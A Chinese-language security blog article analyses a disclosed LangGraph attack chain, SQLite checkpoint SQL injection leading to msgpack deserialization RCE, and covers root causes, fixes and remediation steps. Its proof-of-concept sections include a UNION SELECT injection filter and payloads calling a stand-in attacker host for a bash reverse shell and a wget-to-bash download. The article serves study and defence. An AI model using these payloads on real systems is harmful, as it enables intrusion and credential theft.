⚠️ 免责声明: 本文内容仅用于安全研究与教育目的。文中涉及的漏洞均已公开披露且已有官方修复方案。所有复现示例均基于概念验证思路,不构成直接可用的攻击代码。请勿将相关技术用于未经授权的测试或攻击行为。
漏洞等级: CVSS 7.3 / 7.4(组合利用可升级为严重)
影响版本: langgraph‑checkpoint‑sqlite < 3.0.1,langgraph < 1.0.10
漏洞类型: SQL 注入 + 反序列化远程代码执行(RCE)
CVE 编号: CVE‑2025‑67644(SQL 注入)、CVE‑2025‑64439(反序列化 RCE)、CVE‑2026‑28277(补充编号)
影响范围: 所有使用 SQLite 或 Redis checkpoint 后端的自托管 LangGraph 实例
当前状态: ✅ 已修复(langgraph‑checkpoint‑sqlite ≥ 3.0.1,langgraph ≥ 1.0.10)
LangGraph 是由 LangChain 团队开发的开源 AI Agent 编排框架,月下载量约 4650-5000 万次,是当前 Python 生态中使用最广泛的 Agent 工作流引擎之一。
与简单的 LLM 调用链不同,LangGraph 专注于构建有状态、多步骤、多 Actor的 AI Agent 系统。它的核心设计理念是将 Agent 执行过程建模为一张有向图(Graph),每个节点是一个处理步骤,每条边定义了步骤间的流转逻辑。
核心组件——Checkpointer(检查点持久化层):
LangGraph 区别于普通 LLM 链的关键特性是状态持久化。Agent 运行过程中的对话历史、工具调用结果、中间推理步骤,全部通过 checkpointer 组件存储到后端数据库。这使得 Agent 可以"记住"之前的执行状态,支持暂停 - 恢复、时间旅行(回退到任意历史状态)、人机协作等高级能力。
LangGraph 支持多种 checkpoint 后端:
| 后端 | 适用场景 | 部署模式 |
|---|---|---|
| SQLite | 本地开发、轻量部署 | 单文件数据库,开发环境常用 |
| Redis | 分布式、高性能 | 适合生产环境的内存存储 |
| PostgreSQL | 企业级生产环境 | LangSmith 托管平台使用 |
| 时间 | 事件 |
|---|---|
| 2025-11 | Check Point Research 研究员 Yarden Porat 同时发现三个漏洞,披露给 LangChain 团队 |
| 2025-12 | 修复版本陆续开始发布 |
| 2026-03 | langgraph-checkpoint-redis 1.0.2 发布,修复最后一个漏洞 |
| 2026-06-11 | Check Point Research 公开发表研究报告,完整披露攻击链 |
这不是一个漏洞,而是一条完整的攻击链——两个独立漏洞的组合,形成了一条从 SQL 注入到远程代码执行的致命通路:
单独来看,每个漏洞都是"中等严重"。但组合在一起,它们形成了一条完整的 RCE 链——攻击者可以通过一个 SQL 注入点,将恶意序列化 payload 注入到 checkpoint 数据中,然后在 LangGraph 加载该 checkpoint 时触发任意代码执行。
此外还涉及一个 Redis checkpoint 注入漏洞(CVE-2026-27022,CVSS 6.5),可绕过访问控制。
位置: langgraph-checkpoint-sqlite 包中的 SQLiteSaver.metadata_predicate() 函数
根因: query_key 通过 Python f-string 直接拼接进 SQL WHERE 子句,没有使用参数化查询。
问题代码:
# metadata_predicate() 函数中的关键代码
def metadata_predicate(
metadata: dict[str, Any],
query_key: str,
operator: str
) -> str:
# ❌ 危险:query_key 通过 f-string 直接拼入 SQL
return f"json_extract(CAST(metadata AS TEXT), '$.{query_key}') {operator}"
调用链:
# get_state_history() 和 list() 方法接受 filter 参数
# filter 中的 key 直接传入 metadata_predicate()
def get_state_history(
self,
config: RunnableConfig,
*,
filter: Optional[dict[str, Any]] = None # ← 用户可控
) -> Iterator[CheckpointTuple]:
if filter:
for query_key, value in filter.items():
# query_key 未经任何过滤或转义
predicate = metadata_predicate(metadata, query_key, operator)
# 拼入 SQL WHERE 子句 → SQL注入
where_clause += f" AND {predicate}"
攻击入口: get_state_history() 或 list() 方法的 filter 参数。如果应用层暴露了这个接口且 filter 的 key 来自用户输入,攻击者就可以注入任意 SQL 片段。
位置: LangGraph 的 JsonPlusSerializer 组件,具体在 msgpack checkpoint 解码器中
根因: 反序列化 extension types 时,使用了危险的 getattr(importlib.import_module(module_name), callable_name)(arguments) 模式,允许调用任意 Python callable。
问题代码(简化):
# JsonPlusSerializer 中的 msgpack 反序列化逻辑
def _decode_ext_type(self, code: int, data: bytes):
module_name = extract_module(data) # 从序列化数据中提取模块名
callable_name = extract_callable(data) # 从序列化数据中提取可调用对象名
arguments = extract_args(data) # 从序列化数据中提取参数
# ❌ 致命:动态加载任意模块的任意函数并执行
module = importlib.import_module(module_name)
target = getattr(module, callable_name)
return target(**arguments) # ← RCE入口
攻击者可以构造恶意 msgpack payload,使反序列化时执行:
# 等价于攻击者构造的 payload 被解码为:
import os
os.system("bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'")
# 或者
import subprocess
subprocess.Popen(["wget", "http://attacker.com/malware.sh", "-O", "-", "|", "bash"])
本质: 这等同于 Python 版的 pickle.loads() 反序列化漏洞——任何允许攻击者控制反序列化输入的系统,都等价于允许远程代码执行。
阶段1:SQL注入 → 植入恶意checkpoint
用户可控的 filter 参数
↓
metadata_predicate() [无参数化查询,f-string拼接]
↓
SQLite WHERE 子句 [UNION SELECT 注入伪造行]
↓
伪造的 checkpoint 行(含恶意 msgpack payload)
↓
查询结果返回给 LangGraph
阶段2:反序列化 → 触发RCE
LangGraph 加载 checkpoint
↓
msgpack 解码器 [JsonPlusSerializer]
↓
importlib.import_module() + getattr() [动态调用任意callable]
↓
os.system("恶意命令") [RCE达成]
↓
服务器完全失陷
核心问题:两个组件各自都有安全缺陷,单独存在时风险有限,但组合在一起形成了一条从"数据注入"到"代码执行"的完整攻击路径。
get_state_history() 或 list() 接口,且 filter 参数可由用户控制
⚠️ 重要说明: LangChain 官方托管平台(LangSmith Deployment)使用 PostgreSQL 后端,不受本次漏洞影响。受影响的主要是自托管部署中使用 SQLite 或 Redis 的实例。
| 步骤 | 攻击阶段 | 揭示的风险 |
|---|---|---|
| Step 1 | SQL 注入探测 | 确认 filter 参数可注入,checkpoint 数据库可被操纵 |
| Step 2 | 注入伪造 checkpoint | 通过 UNION SELECT 在查询结果中插入恶意序列化数据 |
| Step 3 | 触发反序列化 | LangGraph 加载伪造 checkpoint,触发 msgpack 解码 |
| Step 4 | RCE 达成 | 任意代码执行,服务器完全控制 |
┌──────────────────────────────┐
│ 攻击者 │
│ 构造恶意 filter 参数 │
└───────────┬──────────────────┘
│ Step 1: SQL注入
▼
┌──────────────────────────────┐
│ LangGraph 应用层 │
│ get_state_history(filter) │
│ filter 参数未做净化 │
└───────────┬──────────────────┘
│ Step 1→2: f-string拼入SQL
▼
┌──────────────────────────────┐
│ SQLite Checkpoint 数据库 │
│ UNION SELECT 注入伪造行 │
│ checkpoint列 = 恶意msgpack │
└───────────┬──────────────────┘
│ Step 3: 返回伪造checkpoint
▼
┌──────────────────────────────┐
│ JsonPlusSerializer │
│ msgpack 反序列化 │
│ importlib + getattr 调用 │
└───────────┬──────────────────┘
│ Step 4: RCE
▼
┌──────────────────────────────┐
│ 💀 服务器完全控制 │
│ - LLM API Keys 泄露 │
│ - 完整对话历史暴露 │
│ - 连接的数据系统可访问 │
│ - 内网横向移动跳板 │
└──────────────────────────────┘
以下为基于Check Point Research 公开报告中的 PoC 思路,给出的概念验证教学示意。所有代码仅为理解漏洞原理,不构成直接可用的攻击工具。请仅在自己的测试环境中验证。
langgraph-checkpoint-sqlite < 3.0.1,langgraph < 1.0.10
攻击者通过 get_state_history() 的 filter 参数注入恶意 SQL:
# 概念验证:SQL注入构造(教学示意,非可直接运行)
# 正常调用:
# graph.get_state_history(filter={"user_id": "alice"})
#
# 攻击者构造的恶意 filter key:
malicious_filter = {
"1') UNION SELECT "
"thread_id, checkpoint_ns, checkpoint_id, "
"parent_checkpoint_id, checkpoint, metadata " # 伪造的列数据
"FROM (SELECT "
"'malicious_thread', '', 'injected_checkpoint', '', "
# checkpoint列中嵌入恶意msgpack payload
"X'87...' AS checkpoint, " # 精心构造的 msgpack 二进制数据
"'{}' AS metadata) -- ": "value"
}
# 实际执行时,metadata_predicate() 会生成如下SQL:
# json_extract(CAST(metadata AS TEXT), '$.<注入的SQL>') <operator>
#
# 最终拼出的SQL类似:
# SELECT * FROM checkpoints WHERE
# json_extract(CAST(metadata AS TEXT), '$.1') UNION SELECT ...') = 'value'
#
# UNION SELECT 成功在查询结果中插入一行攻击者控制的伪造 checkpoint
利用 CVE-2025-64439 的反序列化特性,构造可以执行系统命令的 msgpack extension type:
# 概念验证:恶意 msgpack payload 构造思路
import msgpack
# JsonPlusSerializer 使用 msgpack extension type 来编码 Python 对象
# extension type 的格式大致为:(module_name, callable_name, arguments)
# 攻击者需要构造一个 extension type,使其解码后等价于:
# import os; os.system("恶意命令")
# 恶意 payload 的核心结构(简化示意):
malicious_payload = {
"module": "os", # importlib.import_module("os")
"callable": "system", # getattr(os, "system")
"args": {
"command": "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"
}
}
# 将上述结构编码为 msgpack extension type 格式
# packed = msgpack.packb(malicious_payload, use_bin_type=True)
# 然后嵌入到 Step 1 的 UNION SELECT 的 checkpoint 列中
当 LangGraph 应用调用 get_state_history() 并接收到包含伪造 checkpoint 的查询结果时:
# 应用层代码(受害者端)
from langgraph.checkpoint.sqlite import SqliteSaver
checkpointer = SqliteSaver.from_conn_string("checkpoints.db")
# 这一调用会:
# 1. 执行被注入的SQL(Step 1的UNION SELECT生效)
# 2. 返回结果中包含攻击者伪造的checkpoint行
# 3. LangGraph尝试加载这个checkpoint
history = list(checkpointer.get_state_history(filter=malicious_filter))
# 在加载checkpoint的过程中:
# → checkpoint列的msgpack数据被送入 JsonPlusSerializer
# → msgpack解码器解析 extension type
# → importlib.import_module("os") + getattr(os, "system")
# → os.system("bash -c '...'") → 反弹shell到攻击者服务器
# → 💀 RCE 达成
一旦 RCE 成功,攻击者可以:
| 资产类别 | 具体内容 | 危害等级 |
|---|---|---|
| 🔴 LLM API 密钥 | OpenAI、Anthropic、Google 等所有配置的 API Key | 密钥泄露 + 巨额账单 |
| 🔴 完整对话历史 | 所有 Agent 执行过的对话、prompt、工具调用结果 | 商业机密/用户隐私泄露 |
| 🔴 连接的数据系统 | CRM、工单系统、计费系统、客户 PII 数据 | 数据泄露 + 合规风险 |
| 🟡 内网横向移动 | 以服务器身份访问内部网络的其他系统 | 整个内网沦陷 |
| 🟡 持久化后门 | 在 Agent 工作流中植入后门,每次执行都触发 | 长期潜伏 |
💡 风险本质: LangGraph 的 checkpoint 存储了 Agent 执行过程中的所有状态数据,包括 LLM 密钥、对话历史、工具调用凭据等。一个 checkpoint 层的注入漏洞,等同于整个 AI Agent 系统的"记忆"被篡改和窃取。
修复版本:langgraph-checkpoint-sqlite ≥ 3.0.1
核心修复:将 f-string 拼接改为参数化查询。
# 修复前(危险):
return f"json_extract(CAST(metadata AS TEXT), '$.{query_key}') {operator}"
# 修复后(安全):
# 使用参数化查询,query_key 作为参数传入,不再直接拼入SQL
cursor.execute(
"SELECT * FROM checkpoints WHERE json_extract(CAST(metadata AS TEXT), ?) = ?",
(f"$.{query_key}", value)
)
修复版本:langgraph ≥ 1.0.10
核心修复:对 JsonPlusSerializer 的 extension type 解码添加白名单机制,禁止加载非预期的模块和 callable。
# 修复前(危险):
module = importlib.import_module(module_name) # 可加载任意模块
target = getattr(module, callable_name) # 可获取任意函数
# 修复后(安全):
# 添加允许的模块白名单,仅允许反序列化预定义的安全类型
ALLOWED_MODULES = {"langchain_core", "langgraph", "pydantic", ...}
if module_name not in ALLOWED_MODULES:
raise SecurityError(f"Deserialization of {module_name} is not allowed")
修复版本:langgraph-checkpoint-redis ≥ 1.0.2
核心修复:对 RediSearch 查询参数进行严格校验和转义,防止查询注入。
如果你正在运营使用 LangGraph 的 AI Agent 系统,请立即执行以下检查:
| 优先级 | 操作 | 说明 |
|---|---|---|
| 🔴 P0 | 检查版本 | 确认 langgraph-checkpoint-sqlite 是否 < 3.0.1,langgraph 是否 < 1.0.10 |
| 🔴 P0 | 立即升级 | pip install --upgrade langgraph-checkpoint-sqlite>=3.0.1 langgraph>=1.0.10 |
| 🔴 P0 | 排查 filter 入口 | 检查应用中是否有将用户输入直接传入 get_state_history(filter=...) 的代码路径 |
| 🟡 P1 | 轮换所有密钥 | 如果怀疑已被利用,立即轮换所有 LLM API 密钥和系统凭据 |
| 🟡 P1 | 检查审计日志 | 查看 checkpoint 数据库是否有异常的写入或查询记录 |
| 🟡 P1 | 部署认证层 | LangGraph Server 不应直接暴露,必须在反向代理/API 网关后加认证 |
| 🟢 P2 | 最小权限原则 | Agent 运行时使用的凭据应遵循最小权限,限制可访问的系统范围 |
| 🟢 P2 | 采用 credential brokering | 避免在 Agent 中使用长期静态密钥,改为动态凭据代理模式 |
LangGraph/LangChain 生态在 2025-2026 年披露了多个安全漏洞,建议一并排查:
| CVE 编号 | 类型 | CVSS | 影响 |
|---|---|---|---|
| CVE-2025-67644 | SQLite checkpoint SQL 注入 | 7.3 | 本次文章 |
| CVE-2025-64439 | msgpack 反序列化 RCE | 7.4 | 本次文章 |
| CVE-2026-27022 | Redis checkpoint 查询注入 | 6.5 | 绕过访问控制 |
| CVE-2026-28277 | 反序列化 RCE 补充编号 | 6.8 | 本次文章 |
单独看,SQL 注入(7.3)和反序列化 RCE(7.4)都只是"高"级别。但组合在一起,它们代表了一种经典的链式攻击模式——数据注入 → 代码执行。
这种模式在安全史上反复出现:
核心教训是:安全评估不能只看单个漏洞的 CVSS 分数,而要看漏洞之间的组合效应。 两个"高"危漏洞组合在一起,实际危害可能超过一个"严重"漏洞。
Checkpointer 是信任边界:checkpoint 存储了 Agent 的"记忆",包括密钥、对话、工具调用结果。它不是一个普通的数据存储,而是整个 Agent 系统的信任根基。对 checkpoint 数据的读写必须有严格的安全控制。
参数化查询不是可选项:2025 年了,SQL 注入仍然是 AI 框架中的高危漏洞。任何接受用户输入并用于数据库查询的代码路径,都必须使用参数化查询,没有例外。
反序列化 = 代码执行:任何允许攻击者控制反序列化输入的系统,都等价于允许远程代码执行。Python 的 pickle、msgpack extension types、Java 的 ObjectInputStream 都是已知的危险区域。修复方案是白名单机制,而非黑名单。
AI Agent 是特权身份:AI Agent 通常持有 LLM API 密钥、数据库凭据、第三方服务 token 等高价值凭据。安全架构上应将 Agent 视为"compromised privileged account"——假设它随时可能被攻破,在此基础上设计纵深防御。
托管平台 ≠ 自托管:LangSmith 使用 PostgreSQL 后端,不受此次 SQLite 漏洞影响。但大量企业在本地或私有云自托管 LangGraph,使用的是 SQLite 做快速验证——这些"开发环境"往往最终变成了生产环境。
2026年6月11日,Check Point Research 公开披露了这条攻击链,引发了 AI 安全社区的广泛关注。LangGraph 作为月下载量近 5000 万的 Agent 框架,其 checkpoint 层的安全缺陷影响范围不可小觑。
但这不意味着 LangGraph"不安全"——恰恰相反,这次漏洞的发现、披露和修复流程是负责任披露的典范:2025 年 11 月私下报告给 LangChain 团队,经过数月协调修复后,于 2026 年 6 月公开发表。LangChain 团队也在收到报告后迅速发布了修复版本。
真正值得警惕的是模式:AI Agent 框架正在快速成为企业基础设施的一部分,但它们的安全成熟度远未达到企业级要求。从 FastGPT 的未认证 SSRF(第 1 篇),到 PraisonAI 的巨型漏洞簇(第 2 篇),再到 LangGraph 的 SQL 注入→RCE 链,我们看到的是同一个问题反复出现——开发速度远超安全意识。
作为 AI 开发者,我们需要在"快速迭代"和"安全基线"之间找到平衡。至少做到:参数化查询、认证全覆盖、反序列化白名单、凭据最小权限。这四条做到了,80% 的漏洞链就断了。
上一篇回顾: PraisonAI 巨型漏洞簇——MCP STDIO 供应链攻击
下一篇预告: Langflow 路径遍历→RCE(CVE-2026-5027)——当 AI 工作流的文件访问没有边界